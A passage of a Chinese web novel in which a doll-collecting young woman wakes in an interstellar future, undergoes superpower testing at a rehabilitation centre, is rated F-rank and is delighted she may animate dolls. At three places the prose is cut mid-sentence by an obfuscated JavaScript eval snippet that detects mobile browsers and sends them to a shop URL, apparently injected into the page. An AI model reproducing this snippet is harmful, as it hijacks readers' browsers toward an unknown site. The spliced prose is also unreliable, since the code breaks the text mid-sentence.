人偶果然没有任何感情波动地答道：“差不多临期或者接到投诉之后，我们会自己去指定地点进行注销。注销之后我们会先在废弃人偶回收区放置一段时间，如果没人捡走回收，就会集中销毁，可用的废料会回收利用，剩下的就作为垃圾处理掉。” “不去注销不可以吗？”沈鸢茉迫切地追问道。 “临期或者被投诉判定为废弃人偶的话，拥有者和认证系统也是可以对失控人偶进行注销操作的，这样人偶就会被城市清理系统判定为垃圾，会有专员进行回收处理。” 实在无法认同的沈鸢茉又换了一种问法，“那么有什么方法可以不让你注销呢？” “被判定为‘废弃人偶’之后，说明该人偶已经无法完成当前工作，就只能进行注销了。”人偶答道。 沈鸢茉没再说话，安静地跟着人偶穿过一道透明廊桥。 外面阳光明媚，可以看到很多跟眼前这只类似的工作人偶引领着人们前往他们的目的地。 而且现在观察对象多了，一眼就能看出是批量生产：同样的发型、容貌、衣装，如果不知道是人偶的话，她这会儿可能以为是一群克隆人吧。 沈鸢茉收回目光。 她在思考。 从方才得到的信息判断，就算转让或者购买，人偶也依然会被那个什么系统判定为“废弃”。所谓的判定系统应该类似一个所有人偶的监控系统，只要是认证过的，都会在其监管之下。 她现在最迫切的想法，是想要防止这个人偶变成一堆废料。 眼下似乎有两条路可以选择：第一，就是在他被判定为“废弃”之前，先将其修好；第二，就是等他自行注销之后，去废弃人偶回收区给他捡回来。 第一条路还不清楚她有没有那个能力或者财力，时间恐怕也很紧迫，那么她就只有第二条路可以走了。 如果对方有感情的话，沈鸢茉一定不会这么直白，但她现在已经顾不得那么多了。她直接开口问道：“可以把你注销的时间和地点告诉我吗？” “我会在后天上午十点，前往医院东南门向北三公里的回收区。”人偶答道。 “注销之后一般会在回收区放置多久呢？” “放置一个月。无人认领就销毁。” 无人认领？那应该还有转机。 沈鸢茉点了点头，在心里默默记下回收站的位置和时间。 又穿过两条走廊，人偶在一扇看起来很坚固的金属门前停下脚步，“这里就是fftp06号诊疗室，已将编号SSV007号患者，沈鸢茉小姐，成功送达。” 门口扫描了人偶的胸牌，发出电子音，“编号X7800WOX工作人偶，核对成功。” 人偶再次侧过身，对沈鸢茉做出邀请的姿势，这一次他的手没再掉下来。 沈鸢茉向前一步，扫描了瞳孔和指纹，金属门缓缓打开。 “请进，祝您身体健□□活愉快。”人偶完成交接，在她身后说道。 而她往房间内看了一眼，心脏瞬间往下一沉。 先别想娃了，她怕是自身难保。 5. 第五个崽崽 沈鸢茉刚踏入房间就僵在了门口。 宽敞的诊疗室被十几个穿着厚重防护服的人们挤得水泄不通，银白色的防护面罩反射着冷光，乍看像极了电影里的特种部队。 她是来体检，他们倒像是来拆弹的。 怎么着，难道她还能炸了不成。 正面迎上来一个人，沈鸢茉勉强从防护面具的缝隙里辨认，多半是上午为她检查过的医生。 医生大步上前的时候，周围人也紧张兮兮地凑上来，这些面具后面就是用拉筋钩去想，肯定也是一脸戒备的同时、恶狠狠地瞪着她。 她好无辜啊。 这群人怎么回事，没完了是吧。 虽然她不是医生，但能判断他们八成是有什么大病。 “您好，沈鸢茉小姐，又见面了。”医生穿着防护服的手伸出一半，似乎想要握手，但中途又缩了回去，只费力地点了点头。 “您好，”沈鸢茉挑了挑眉，眼里的不屑明明白白，她都懒得掩饰，“又见面了，还是这么大阵仗哈。刚一进门没反应过来，差点还以为你们搁这国庆阅兵呢。” “啊哈哈。”医生看了眼周围人，干笑了声，“那我们开始吧。” 沈鸢茉忍不住刺那么一下，但也还是该配合就配合。 毕竟事情还没到最后最坏的局面，她就是硬逃出去，也不知道该去哪。她爹都指望不上，更别提巴不得她早死的继母和私生子了。 说起来，她要是这次没事，能顺利出去的话，还得好好找那母子算算账。法治社会，犯了事就一个都别想逃。 然后呢……嗯，她就去捡人偶，回去边养边练手，平时就在论坛接单挣钱，养家糊口。 沈鸢茉一边分心计划着，一边按照医生的指示，走进房间里侧，医生和拆弹专家们留在外面，隔着透明隔离墙，用话筒给她下指示。 “对了，需要提醒您一下，您看左手方向的摄像头，是开着的，我们的场外专家也会从视频中对您的身体状况进行观察。” 合着屋里站不下，还挤到外面几个只能看监控是吧！ 沈鸢茉随便点了下头，也懒得吐槽了，现在要节省体力，待会儿她预感，肯定要花大力气的。 毕竟这诊疗室里的体检器材，看起来都跟健身器材似的。 沈鸢茉先测了身高体重视力等常规项目，然后就开始“锻炼”了。跑步、举铁她还能接受，最离谱的还有个臀桥。 她是来体检的不是来炸臀的！但话筒里静悄悄的也没个解释，整蛊综艺都没见过这么玩的。 沈鸢茉以往没去过几次健身房，她属于那种特别典型的“年卡会员”——在街上被人忽悠着100块办一张价值3888的年卡，然后全年只去体验过一次就再也没出现过的那种。 没想到今天要在这里练蜜桃臀……沈鸢茉一边认命地在臀桥上下活动髋关节，一边想着等下一定要态度坚定地拒绝办卡。 终于从臀桥上下来，隔离门打开，沈鸢茉以为终于完事儿了呢，结果进来一个工作人偶，给她递过来一杯水，然后又转身出去了。 ……还带上了门。 行吧，看来还没结束。 正好有点渴了，沈鸢茉接过水杯，仰头就给干了。 结果话筒那边清了清嗓子，门又开了，工作人偶再次端来一杯水递给她。 “谢谢？”沈鸢茉犹豫着接过来。她已经不渴了啊，是准备要做B超吗。 工作人偶这次看她没喝，才转身出去带上门。 “……下面请沈鸢茉小姐进行水测。”话筒传来略微无奈的声音。 水测？什么水测？ 沈鸢茉看了看手中的透明玻璃水杯，不明白让她测什么。她能测什么啊？ 在隔离墙和摄像头的诡异视线中，她硬着头皮瞎蒙，“呃……这是一杯，温度适宜的饮用水？” “……” 又是一阵令人尴尬的沉默，话筒再次传来声音，“……是的。请您开始水测。” “……”也没给烧杯试纸酒精灯，测什么测，沈鸢茉茫然问道，“怎么开始？” “……请对这杯水使用能力。” 沈鸢茉闻言，用力地握紧了玻璃水杯，然后啪—— 杯子碎了一地，水洒了她一身。 “你们这杯子，看着结实，实际也太薄了吧，”沈鸢茉有点恼，看了下手掌，奇迹般地没有受伤，便消了气，“我还没使劲呢就碎了，质量未免太差。” “是请您使用能力，不是用力！”话筒里面的声音带上一丝绝望。 “到底要我做什么？把水变成红酒吗？！” 可能是沈鸢茉头上的问号接近实体化了，话筒那边传来一点杂音，随后一个低沉的男声带着笑意说道： “请双手握着杯子，保持心境平和，然后想像有一股力量在体内流动。控制能量流向掌心和指尖，并保持三十秒。” 终于！终于有个会说人话的了！沈鸢茉翻了个白眼，接过工作人偶送进来的第三杯水，按照指示做了。 但是！ 体内哪里来的力量，是小宇宙吗？要怎么控制怎么流动啊我去。 不管怎样，先混弄过去试试。 娃的事她可以一手包办，小宇宙的事可不归她管。 沈鸢茉虔诚地双手碰杯，认真地盯着杯子里的水。 三十秒过后，工作人偶进来收走了水杯。 “那么接下来进行最后一组检测。”话筒对面的人又变成之前那个，传来的声音在沈鸢茉看向摄像头的视线中微微颤抖，“请用力捶打红色力测板。” 沈鸢茉目光搜寻了下，看到墙上有一块板子是红色的。她指了一下，得到肯定后，走了过去。 “确定是这个对吧？”她来到墙边，在她视线齐平的地方挂着那个红色的板子，“要捶这个？” “是的，力测板上面有保护层，可以保护您的指关节不会受伤，请尽可能用力。” 沈鸢茉点了下头，想着赶紧完事儿吧，她耐心快耗尽了。 随后她举起拳头，模仿着拳击手的样子，先试探着捶了一下，确实不疼，随后便用力又捶了几下。 “好了没？” “……马上，最后一项，请您用力踢力测板。” 沈鸢茉再次对摄像头使用死亡凝视。 “请、请问，您有什么问题吗……” 沈鸢茉深呼吸，让自己保持平静，“你看我像是能把腿踢到头上的人吗？” ……或者您把头伸过来，我也许能踢到呢。 “抱、抱歉，这就为您安排！” 话筒那边隐约传来笑声，随后那边让沈鸢茉抬了抬腿，红色的板子配合着下降到合适的高度。 哐哐几脚，听声音就让人胆战心惊。沈鸢茉发泄过后，话筒忙不迭地说，“辛苦了沈鸢茉小姐，您今天的身体检测全部完成，请回到病房稍事休息，随后我们会将检测结果通知给您的主治医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968975|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。” 隔离门打开，沈鸢茉穿过拆弹专家们，跟医生道了别，又被另一个工作人偶领着回到病房。 换了身干爽的病号服，她往病床上一蹦，才后知后觉地想，她今天做了那么多锻炼，居然一点都不累耶。 不过可能明天就肌肉酸痛起不来床了。今天就纯纯被那个做指示的呆逼气的，肾上腺激素的作用，所以完成那么多项检测都啥感觉没有。 想起那个水杯她就不爽。 水测，什么玩意儿。别的还能勉强理解，让她对着一杯水使用能力？使用什么能力？念能力？！ 这里可别是什么精神病院。 真要是精神病院，她恐怕是为数不多头脑清醒的人吧。 沈鸢茉就那么躺着复盘呢，医生又带着人来了。 比她预计的快了很多。 这会儿他们脱掉了防护服，神情也没那么戒备了，沈鸢茉也略微放松了一些，“结果出来了吗？这么快。” 主治医师翻着检测报告：“重点项已经加急赶出来了，更详细的数据还要晚点，有可能还需要复查。不过应该没什么大问题，您的异能数值非常稳定。” “我的什么数值？”沈鸢茉声音发飘。 “异能状况……”医生停下手上的动作，“您不知道自己觉醒了吗？” “啥？！”她真的怀疑这是什么整蛊节目了，还看了看是不是有人拿着摄像机直播，但除了医生和那几个护工她有点印象，也就多了个脸生的帅哥站在后面。 ……帅哥没什么表情也不说话，看着跟别的护工格格不入，可能也是个工作人偶吧。 他衣服上也没有扣子，所以不是纽扣式摄像机的话，那就是针孔摄像头咯？那病房里呢？是不是也装了？ 沈鸢茉看看这个看看那个。 所有人都是一脸平静，看着她，眼里带着不解，仿佛她才是那个匪夷所思的人。 她艰难地开口，问出一个早在醒来时就该问的问题，“……今天是几几年几月几日星期几，这里是哪个国家的哪里？我是谁？” 医生的表情带上一丝怜悯，明明检查结果没有问题，但确实有患者会陷入短暂的混乱，这种滋味一定很不好受 “今天是星历3202年3月3日星期五，这里是你的祖国华夏共和国首都第一异能者康复中心，你的资料……稍后会发给你。” 沈鸢茉直勾勾地盯着医生，希望能给他盯破功，盯到他笑场。 但是他没有，交待完注意事项，叮嘱她好好休息，他又带着人在她病房转了一圈。 看到保温柜里吃剩的饭菜，医生义正言辞地说：“虽然很多小姑娘想要保持身材，但成为一名异能者后，为了维持能量的正常运转，需要摄入大量的营养，不然很容易造成低血糖，严重的还会导致休克。” 听他一个劲儿地说着异能，沈鸢茉脑子一团乱，本不想搭理的，结果看见那些饭菜，肚子很诚实地开始超大声叫唤。 医生笑着把饭菜一一端出来，给她摆到小桌上，一脸慈祥地看她低头干饭。 如果眼前这一切都是真实的…… 那她岂不是穿越了？！ 还带着她孕期364天、好不容易到家、拿到手还没盘热乎的娃头和一瓶快用完的消光？！穿、越、了？？ 那娃的身子怎么办，配饰怎么办，箱证不齐不就成黑户了？ 她家里还有那么多的娃，怎么办啊！ 艹啊！！ 6. 第六个崽崽 fftp06号诊疗室，专家观察室。 “这就是那个新觉醒的异能者？”中年男人整理着西装袖口，目光落在监控屏幕上。 “对，”护工连忙调出资料，“沈鸢茉，21岁，孤儿，单身女性，首都科技大学学生，目前居住在……呃，流星花园。” 听到这个地名，男人眉头微蹙。 流星花园说得直白一点，就是首都贫民窟。 那边高楼林立，住户密度大到涵盖了几乎所有在首都挣扎求生的底层民众。 每年政府都会拨专款救济，但依然有大批流民、罪犯挤满流星花园的阴暗角落。 那里是整个帝都最大的“小区”，也是“意外”伤亡率最高的地方。 “孤儿？”站在阴影处的男生突然开口，声音冷冽。 “是的，靠奖学金和勤工俭学读到大学。”护工忍不住补充，“能活到现在不容易。” 更别提，女孩长期营养不良，能平安长大，能熬到觉醒，比中头彩概率还低。 中年男人摇了摇头，“不是嫌弃，是可惜。我们致力发展这么多年，但这世上受苦的孩子还是太多了。” “她算是幸运的，这就要过上好日子了。”护工也跟着感叹。 国家为了民生，做出了很多努力，近些年也不断出台扶持政策，但想要让全民脱贫、致富，还是任重道远。 男人轻声道：“我们的社会福利体系还是不够完善啊。” “能力检测了吗？”男生显然更关心眼下的问题。 “还没有，她刚觉醒，波长不稳定，昏迷了三天，身体底子实在太差，现在可以说是脱胎换骨也不为过。目前了解到的是能量阈值非常高，她今天上午刚苏醒过来，这会儿正要给她做更精准的检测。” 男生面无表情地点了下头，见监控屏幕里来人了，抬手示意护工调整镜头。 “看着好小……你刚才说，她21岁了是吗？”中年男人透过屏幕仔细观察，扭头问道。 “对的，是21岁没错，送过来的时候我们也测了骨龄。”护工翻看着病例单，肯定地答道。 毕竟流星花园声名在外，从那里走出来的人，一切身份证明都不可靠，必须重新进行基因检测和多项筛查。 “好。觉醒异能是晚了点，不过也不是没有先例，正好转来我们学校。 “这个年纪学习能力还是很强的，看一下今天的检测结果，再尽快把基础知识补齐，就可以针对性地培养起来了。”中年男人摸着下巴，沉思道。 男生也走近了一些，中年男人示意他站到自己身边，“你看，怎么样，我觉得是个好苗子……噗。” 视频中的沈鸢茉正一脸纯良、但面带嘲讽地说医生和护工们像是在国庆阅兵，白眼都快翻出屏幕了。 中年男人没忍住笑出声，就连男生也带着兴味，略微勾起嘴角。 “哈、哈哈……”这边的护工干笑，“小姑娘还蛮幽默的哈。” 只是他心里暗想，要命，这位副校长和学生会主席来得突然，他们事先没有得到通知，也就没法提前让这姑娘注意一点，万一影响以后的发展可怎么办。 好在中年男人还是那副笑眯眯的样子，“年轻人朝气蓬勃，有点个性也无妨。”说完他还赞赏地看了一眼身边的男生，男生没有什么反应，只认真地看实时波动的检测数据，心中默默推算。 “她觉醒时的阈值就很高，”护工竭力想要帮忙挽回形象，等沈鸢茉进了异能隔离区域，用话筒做了指示，关上话筒连忙夸赞，“估计能达到B+，甚至有可能达到A。” “菜。”男生瞥了眼沈鸢茉笨拙的测试动作，毫不留情地评价。 “啊，但、还是有潜力的吧……”护工喃喃道。 “哈哈你不用听他的，”男人笑着打圆场，“毕竟还是新人，从来没有锻炼过，这种表现很正常，也可能是非战斗系也说不定呢。唔，”他又仔细看了看屏幕上不断波动的数字，眼睛一亮，“等等，这个数值波动……嗯，有点意思。” 护工看了看冷脸的男生和一脸兴致盎然的男人，心里直打鼓。 也不知道他说的“有点意思”是几个意思，是好的意思还是坏的意思。 前面的项目做完，轮到水测，护工精神一振：这可是重头戏，可以检测出异能的属性，要是出了稀有属性，那可就是一步登天！ 他叫工作人偶送了一杯水进去，还没等说话，只见沈鸢茉抬头举杯直接把水干了，他人都傻了。 中年男人又是一阵笑，“哈哈！”边笑还边反过来安慰护工，“毕竟是新人嘛，正常的。” 护工额头渗出豆大的汗滴。 这真的正常吗？反正他是第一次见到有人把做水测的水给喝了的。 无奈，他只得再让人偶送进去一杯水，并打开话筒，叮嘱她这是用来做水测的。 虽然他只是一个护工，跟这位异能者没什么关系，以前不认识，以后也不会有交集。 但异能者是稀缺资源。 他也是小地方出身，虽然没有沈鸢茉那么惨，但也一样求生不易。 看到有人能觉醒异能，也许从此便能过上更幸福的生活，他是真心祝福、并想为之略尽绵薄之力的。 但这姑娘真不是来搞笑的吗？！就算是新人，也不至于什么都不懂吧！ 她的异能力是一忘皆空吗！ 第一杯水她仰头喝了，第二杯水她直接把杯子都捏碎了！那可是特制抗异能硬化杯！怎么就能捏碎的！ 也搞不好她是力量属性呢？ 第三杯水，男生终于看不下去，夺过话筒亲自指导，现场教女孩运转异能。 看着屏幕里“含情脉脉”盯着第三杯水的沈鸢茉，男生若有所思，但什么也没说，又走到房间后面，懒洋洋地靠在墙上了。 继续认真观看后面检测内容的中年男人还不时感叹，“哈！人小，脾气还挺大。” 护工彻底摆烂，麻木地把剩下的流程走完。 ……他尽力了。 检测结束后，中年男人出去接了个电话，回来跟男生交待，“我得回学校开会，接下来就交给你了，等结果出来给我发一份，你那边自己备案，然后去接触一下，看什么时候把人接过来。” 男生点了下头，“知道了，您慢走。” 看不出他脸上什么表情，但事情交给他，男人总是放心的。 副校长离开后，男生去跟主治医生见面聊了会儿，又跟着一起去了沈鸢茉的病房。 男生站在人群最后，锐利的目光扫过房间每个角落： 垫着枕巾又包着毛巾的迷你娃头、保温柜里的一大堆餐盘、阳台上贴着的老旧传单以及角落里一瓶淘汰已久估计只能在贫民窟垃圾场捡到的剧毒消光喷雾。 食量极小、脾气火爆的菜鸟，疑似野生的人偶技师。他在心里默默更新档案。 而沈鸢茉这边，在监督下乖乖地吃完了中午剩下的饭菜之后，就见医生带着护工们还有那个挺好看的工作人偶离开了。 关门的时候还再三叮嘱，让她晚上也要好好吃饭。 行吧。 重新吃了一遍午饭，她懒洋洋地躺在床上。 目前到底是个什么状况还不好说。 至少她还活着。 不管处境多艰难，活着就会有希望。 而且这个世界上也有娃，还有那么大、会动会说话的工作人偶，反正她原本的世界也了无牵挂，既来之则安之。 至于异能……再说吧，她被从高层推下来都没死、不仅没死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968976|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还穿越了，再多个异能已经不能让她更惊讶了。 没过十分钟，一个工作人偶还给她送来一块腕表，说是临时终端。 东西比她见过的智能手机高级，但操作并不复杂。 -你原先的终端在异能初觉醒的时候弄坏了，这个是院里备用的临时终端，已经给你登记了，先用着，等以后想换了再换新式的。 沈鸢茉回了个谢谢，然后点开附件。 资料很详细，上面记录了这个世界的“她”从小到大的个人经历。 孤儿……还行，她以前也四舍五入算个孤儿了，在这也不需要维护什么社交关系。 首都科技大……原身比她成绩好点，她也是科技大，不过听起来应该没有首都的牛逼。 流星花园……什么鬼，她住的小区里难道还有F4吗。 终端没有设置浏览权限，也可能是检测过后给她开放了权限，她上网搜了一下流星花园。 原来是贫民窟…… 这名字也太有误导性了，谁给起的啊，就离谱。 她又搜索了一下异能和水测，这会儿才后知后觉自己闹了个大乌龙。 原来这个世界的人，只有少部分会觉醒异能，据统计，异能者约占总人口0.03%，属于稀缺资源。 所有的异能者从幼儿园到大学享受专属教育，国家立了项，会重点进行培养。 而异能者大多数都是先天觉醒者，也就是出生后不久就会显露出天赋。 完成学业之后会根据情况，由国家统一分配到合适的岗位，有一部分会进入研究院，专门从事对异能者的培养工作，而绝大多数则作为精英战斗人员，为国家为人民效劳。 可以说异能者享受最高待遇的同时，也要承担与之相应的重任。 像沈鸢茉这种21岁才觉醒的“高龄”案例，在整个异能者历史上都屈指可数。 按照惯例，觉醒者应当接受系统化的异能训练——可问题是，她这个年纪，总不可能被塞回异能者幼儿园，和一群五岁小朋友一起学怎么控制能量波动吧？ ……那画面太美，她不敢想像。 根据现有数据，高龄觉醒者往往呈现两极分化—— 要么能量微弱到近乎普通人，要么波动剧烈得像个行走的炸弹。 历史上那些震惊世人的异能暴走事件，十有八九都跟这类“大龄觉醒者”有关。 沈鸢茉终于明白，为什么那些护工之前都对自己满脸戒备、还穿那么厚的防护服了。 她确实可能会炸。 国家也真的是惜才。 大龄后天觉醒者明明“没什么用”，但她依然享受到这么高级的待遇，同时还让这么多医疗工作者赌上性命为她救治。 下次见面她得好好跟大家赔礼道歉。 沈鸢茉想起自己之前还当着人家的面开嘲讽，这会儿简直无地自容。 她又看了眼个人资产。 虽然不知道星际币是什么购买能力，但可怜的三位数存款，怎么想也不太禁得住花。 出院以后还是原计划，得想办法赶紧赚钱。 往好处想，她至少没有巨额欠款，也没有不良信用记录。 不管水平怎样，现在她也算是异能者了，国家会管。 沈鸢茉对上镜子里，跟自己一模一样的眉眼，身体感觉还是原来那个。 不知道这个世界的沈鸢茉去了哪里，心底里有个声音告诉她，原主已经不在了，她占据了她在这个世界的身份。 沈鸢茉摸了摸枕边的娃头。 “至少带你一起来了。” 镜子里的女孩对她笑了笑。 那是跨越时空的，属于两个世界沈鸢茉的共同笑容。 那么就这样，开始新的生活吧。 7. 第七个崽崽 晚餐时刻，金光闪闪的餐车准时推进病房，四层餐盘堆满精致菜肴。 沈鸢茉风卷残云般扫光所有食物，连她自己都吓了一跳。 这就是异能者的代谢能力吗…… 竟恐怖如斯！ 她摸着平坦的腹部在房间里踱步，既惊又喜。 要是每天都是这样遍尝美食还不发胖，不知要让多少节食男女羡慕到眼红。 晚上九点半，医生独自前来查房。他捏着检测单的手指微微发紧，笑容略显僵硬，“感觉怎么样？” 沈鸢茉以为他是因为没带护工所以心里紧张。 而且之前自己态度恶劣，恐怕这些医护人员私下里都不太待见她吧。 “挺好的，吃嘛嘛香。”她赶忙答道，随后站起身，态度诚恳，“先前对您和护工们态度很差，我真的很抱歉。查了资料才知道，大家是冒着生命危险来为我治疗，结果我还不识好歹在那阴阳怪气。” 沈鸢茉深深鞠躬，打从心底里觉得自己做得不地道，“非常抱歉！” 医生还挺意外，愣了下然后连忙摆手，“哪里，你是后天觉醒的新人，而且初期意识比较混乱，大家都能理解，不要放在心上。” 他心里还感慨，换个别人，或者他自己，要是突然觉醒异能，指不定怎么骄傲怎么嘚瑟呢。 这样的例子，他们见过太多。 小姑娘这会儿还能反省，还这么懂事，他们怎么会跟一个头脑混乱的患者计较。 而且她的检测结果……嗐，也是可惜了，世间不如意十之八九，大多幸事可能都不过是一场空欢喜。 看这小姑娘这么懂事，再想想她过往的经历，实在让人惋惜。 医生组织了下语言，虽然心下不忍，但只能实话实说。 沈鸢茉注意到了医生脸上表情变化，又发现他一直看手里的单子，也就猜到了，“是我的检测结果……不太好吗？” “嗯……详细的异能数据已经出来了，”医生看着她，谨慎地说道，“最终的评级是……” 沈鸢茉专注地听着。 “呃……F级。”医生小声飞快地说道。 “嗯？”沈鸢茉没听清，看来异能没怎么增强她的五感，“什么级？” 医生还以为她受到打击，不愿接受，结果发现她是真的没听清，只得咬牙又重复道，“是F级。” “哦。”沈鸢茉点了点头。 所以是真的觉醒了吧，她怎么啥也感觉不到。 可能就是因为她是F级。 听起来就弱兮兮的。 但既然有评级了，那应该就是有异能，有异能，那她就是异能者了呀。 所以说，她多少都能享受点异能者待遇吧？ 那应该就不用像原身以前那么辛苦了。 这几天的医疗费用还有食宿，政府不都全额报销了吗？还要什么自行车。 沈鸢茉要求不高，吃喝不愁就行，至于其他的花销，比如养娃的钱，她自己会想办法。 医生看着沈鸢茉，沈鸢茉也看着医生。 “嗯……你别灰心，”医生怕她身体还没好利索，心情不好影响恢复，“慢慢锻炼总会有所提升的，你还年轻……” “我为什么要灰心啊。”沈鸢茉反倒笑了，眨着眼睛反问，“F级很差吗？” 医生愣住了。 他见过太多异能者因评级不理想而崩溃，却从没见过这样云淡风轻的反应。 “嗯……”医生看她真的想得开，表情也放松下来，“F级嘛……按照评定来看，也就比普通人强那么一点点。” “那好歹也是个异能者了吧？”沈鸢茉见医生点头，心彻底踏实了，“都已经比普通人强了，还不知足吗？”随后她问起此时此刻最关心的问题，“我查资料看到好像异能者有补助，F级也有嘛？” “这个你放心，所有异能者都能享受基础福利，比如日常起居食宿全免，每月有星际币补贴，不过是最低的一档，只有500点——” 沈鸢茉的眼睛瞬间亮了起来，“这还叫差？这简直是天上掉馅饼了呀！” 她现在全部积蓄也就800多点，人要懂得感恩！ 这待遇，相当于她活着就不要钱！还有点零花！这种好事怎么可能灰心啊！ 她可是被国家包养（划掉）精准扶贫了啊！ 医生见她心大，本想着安慰她的，结果反被她感染，觉得人生简直太美好了。 也对，见惯死亡和病痛，能健康地活着都是万幸，还奢望什么呢？ 于是医生原本的安慰变成了体贴的讲解，他举着单子，指着上面的数据，“你看，你的波动很大，这里，还有这里，阈值非常高，又很稳定，本来我们预计怎么也得Ｂ级以上的。 “偏偏最重要的水测，什么都没测出来，所以最终等级就落了个Ｆ。”医生看着一片大好的数据，还是禁不住觉得惋惜。 “水测是测异能属性的对吧？”沈鸢茉这会儿完全不担心自己了，就是顺便多了解一下这个世界的常识，“有异能但是没测出来，那估计就是没什么用的能力咯？” 医生没想到她说的这么直白，一点都不给自己留面子。 他也就坦荡荡地给她掰开了解释，“如果要说属性的话，不如我们直接用异能者来举例子比较好懂。” 沈鸢茉点了点头，就当听故事，医生继续说道：“众所周知，异能者的主职工作就是要运转异能驱使人偶对战……” “驱使什么对战？！”沈鸢茉震惊到嘴巴能塞进一颗6分娃头。 “人偶啊。”医生被问得有点懵，想起她还混乱着，也就多说两句，“异能者要驱使的是战斗型人偶。除了对抗星际外来物种以外，国与国之间彰显国力和战力也是通过举行战偶比赛来互相试探的。” 沈鸢茉点了点头。所以这个世界的奥运会，是大家带着娃互殴吗？ 有点自豪又有点心疼啊。 不过娃圈发展壮大了，怎么想也是好事一桩。 医生看她明白过来，就继续说道：“说到哪里了，哦对，异能者的主职工作，就是带着精心组装的人偶对战。而人偶的战斗力，很大一部分是由异能者的能力水平决定的。 “因此，对于异能者的能力就有了等级划分。通俗来说，异能等级越高，人偶战力也就越强。高级异能者一人一偶就相当于千军万马，字母级嘛……唔，你懂的。”医生给了一个眼神让她自己体会，跟着又笑了下。 沈鸢茉接受到信号，就体会了一下，可惜并不懂。 但她没必要纠结这个。 在她以前的世界，娃是不会动的。所谓的可动性，指的是娃身体各个关节的可动范围，需要玩家摆弄，并不是它自己会动。 而这个世界，娃的可动性，说的可是通过异能操纵，让娃自己动欸。 巨大的喜悦让沈鸢茉心脏疯狂跳动。 “不过可以肯定的是，驱使的能力跟属性有关。”医生继续解释道： “比如变化属性的异能，可以让人偶的攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968977|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击变化形态；速度属性的异能，可以让人偶的攻击速度变快；增幅属性的异能，可以让人偶的攻击强度变大等等。 “不同属性的异能，锻炼方式也不同，异能者的潜力，也就是最终能够取得多大的成绩，主要看的就是阈值。 “而你嘛，就是空有阈值，但因为检测不出任何有用属性，所以被判定没有任何战斗力，被判定为Ｆ级。” “那我能驱使人偶吗？”沈鸢茉双手紧紧握拳，迫切地问道。 “理论上，F级应该也是可以驱使人偶的，”医生瞥了眼床头的小恶魔娃头，“就是效果可能比较有限……” 沈鸢茉已经自动过滤了后半句。 她的脑海里只剩下一个念头：她有可能也能让娃自己动起来！ 试问哪个娃娘能抵挡得住这种诱惑？ “不过战斗人偶需要属性加成才有意义，”医生怕她期望太大，到时候失望也越大，还是把现实摆在她面前。 “毕竟没有任何加成效果的话，那不如直接遥控个机器人上场。” 沈鸢茉却在想，既然她没那个实力，那不去战斗不就行了？ 刚好，如果要让自己心爱的娃上场厮杀，动不动就缺胳膊少腿儿的，她还舍不得呢！ 医生看出了她的想法，“不过驱使个小玩偶给你挠个痒还是可以的，等以后你锻炼一段时间搞不好还能给你扫个地……” 沈鸢茉听到这里已经美到快飘起来了，战斗什么的，谁爱上谁上。 只要想到她也能让娃动起来，就已经足够她开心一辈子了，每天起床都是笑醒的。 试问哪个娃娘不希望娃可以自己穿衣服啊，甚至有好多大梦想家，还希望自家崽能学会自己拉筋，甚至出去赚钱养阿妈呢！ 好吧她只是个Ｆ级，高难度的做不到，但能帮忙挠个痒也可以！ 她可以！ 这个世界，她可太可以了！ 医生看沈鸢茉一个人在那傻乐，再次感叹：难怪小姑娘孤身一人能在流星花园那样的地方安然长大还这么开朗。 换个心态差点的，还没等觉醒异能呢，早就抑郁了。 又或者，正因为她这样乐天的性格，才会令上天垂怜，降下好运，让她觉醒异能的吧。 能力差点又怎样，不是战斗系又怎样，还安全呢。小姑娘家家，自己一个人，安安稳稳地度过一生，平安喜乐也是大多数人的向往啊。 沈鸢茉都忍不住想找个娃试一试了，但她手头目前就一颗头，还是从原来世界抓来，材质什么的也许不一样。 也不知道异能怎么控制人偶的，是不是这边娃的设计上，有什么小机关之类的。 医院里那么多工作人偶，她没看到有谁在驱使，不也可以行动、对话、完成工作，它们怎么运作的也是个迷。 但总归，这里是个适合娃娘生活的世界啊，慢慢探索也是一种乐趣。 送走医生后，沈鸢茉抱着小恶魔娃头在床上打滚。 F级又如何？她可以在这个世界，跟娃快快乐乐地生活一辈子。 接下来嘛，除了赚钱大业，她还得努努力，提升异能。 终有一天，她一定能实现每个娃娘的终极梦想—— 让娃娃自己穿衣服！ 这还是有生以来第一次，她内心充满喜悦，同时对未来充满期待。 窗外，星光洒下清冷的光辉。 在这个陌生的星际时代，一颗来自旧世界的树脂脑壳，正静静等待着被赋予生命的那一刻。 8. 第八个崽崽 病房的窗帘透进柔和的晨光，沈鸢茉盯着天花板发呆。 